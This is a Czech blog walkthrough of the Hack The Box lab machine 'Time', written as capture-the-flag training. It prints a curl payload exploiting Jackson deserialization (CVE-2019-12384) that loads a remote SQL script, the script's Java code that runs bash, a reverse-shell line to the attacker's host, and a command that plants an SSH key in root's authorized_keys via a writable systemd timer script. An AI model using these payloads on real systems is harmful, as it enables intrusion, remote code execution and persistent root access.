tom@home.htb:~$

Blog o HTB

25 January 2021

Time

Úvod a kontext

Time je přímočarý stroj, ale právě proto se na něm dobře vysvětluje princip zneužití JSON deserializace v Javě. Webová aplikace zde nepřijímá shellový příkaz, nýbrž JSON objekt, který backend deserializuje do konkrétní Java třídy. Jakmile se podaří trefit správný gadget chain, z validátoru JSON se stane RCE, tedy další varianta tématu Insecure deserialization napříč stacky.

Root část už je naopak čistá lokální konfigurace. Účet pericles může zapisovat do skriptu spouštěného systemd timerem každých pár sekund, takže není potřeba žádný další exploit. Stačí počkat, až timer vykoná upravený skript jako root, tedy přesně na patternu zápisu do prostoru, který se pak vykoná.

Počáteční průzkum

Vyhledání otevřených portů

Nejdřív ověřuji základní síťový profil cíle.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))

Web na portu 80 se prezentoval jako online JSON parser, takže už z názvu je zřejmé, že smysl bude mít zkoumat jeho parsování a chybové hlášky.

Analýza zjištění

Chybová hláška a Jackson

Při posílání neplatných JSON dat vracela aplikace Java exception z knihovny Jackson. To je důležitá stopa, protože pro Jackson existuje více známých deserializačních gadgetů a bezpečnostní práce spočívá hlavně v tom trefit správný.

V tomto případě vedla správná cesta přes CVE-2019-12384, tedy zneužití třídy ch.qos.logback.core.db.DriverManagerConnectionSource a H2 databázového driveru.

H2 INIT=RUNSCRIPT

Použitý payload vypadal takto:

curl 'http://10.10.10.214/' --data-raw 'mode=2&data=%5B%22ch.qos.logback.core.db.DriverManagerConnectionSource%22%2C%7B%22url%22%3A%22jdbc%3Ah2%3Amem%3A%3BTRACE_LEVEL_SYSTEM_OUT%3D3%3BINIT%3DRUNSCRIPT+FROM+%27http%3A%2F%2F10.10.14.8%3A8000%2Fcommandinjection.sql%27%22%7D%5D'

Princip je následující:

Obsah commandinjection.sql:

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('setsid bash -i &>/dev/tcp/10.10.14.8/4000 0>&1 &')

To už přímo převádí deserializaci na command execution.

Získání přístupu

Shell jako pericles

Po odeslání payloadu přišel reverse shell v kontextu uživatele pericles. To je důležité i pro další fázi, protože root privesc stojí na souborech, které jsou zapisovatelné právě tomuto účtu.

Po stabilizaci shellu bylo možné potvrdit user část:

cat /home/pericles/user.txt
__CENSORED__

Eskalace oprávnění

Systemd timer timer_backup

Lokální enumerace ukázala rychle běžící timer:

timer_backup.timer -> timer_backup.service -> web_backup.service

Rozhodující konfigurace byla tato:

[Service]
ExecStart=/bin/bash /usr/bin/timer_backup.sh

A samotný skript byl zapisovatelný uživatelem pericles:

-rwxrw-rw- 1 pericles pericles 88 Feb  9 22:15 /usr/bin/timer_backup.sh

To je prakticky hotový privesc. Není potřeba obcházet sudo ani hledat další CVE, protože root už každých pár sekund spouští soubor, který může měnit neprivilegovaný uživatel. Write oprávnění se tím přímo mění v odložené root execution.

Vložení vlastního příkazu

Nejjednodušší bylo do skriptu připojit příkaz, který zapíše vlastní SSH klíč rootovi:

echo 'mkdir -p /root/.ssh && chmod 700 /root/.ssh && touch /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys && echo "ssh-rsa __CENSORED__== hack@t" >> /root/.ssh/authorized_keys' >> /usr/bin/timer_backup.sh

Po dalším běhu timeru už stačilo přihlášení:

ssh root@10.10.10.214

Následně šlo přečíst root.txt.

Shrnutí klíčových poznatků

Co si odnést do praxe

Další související články

HTB Stroje

Techniky

Nástroje

tags: linux - rce - ssh - java - exploit - enumeration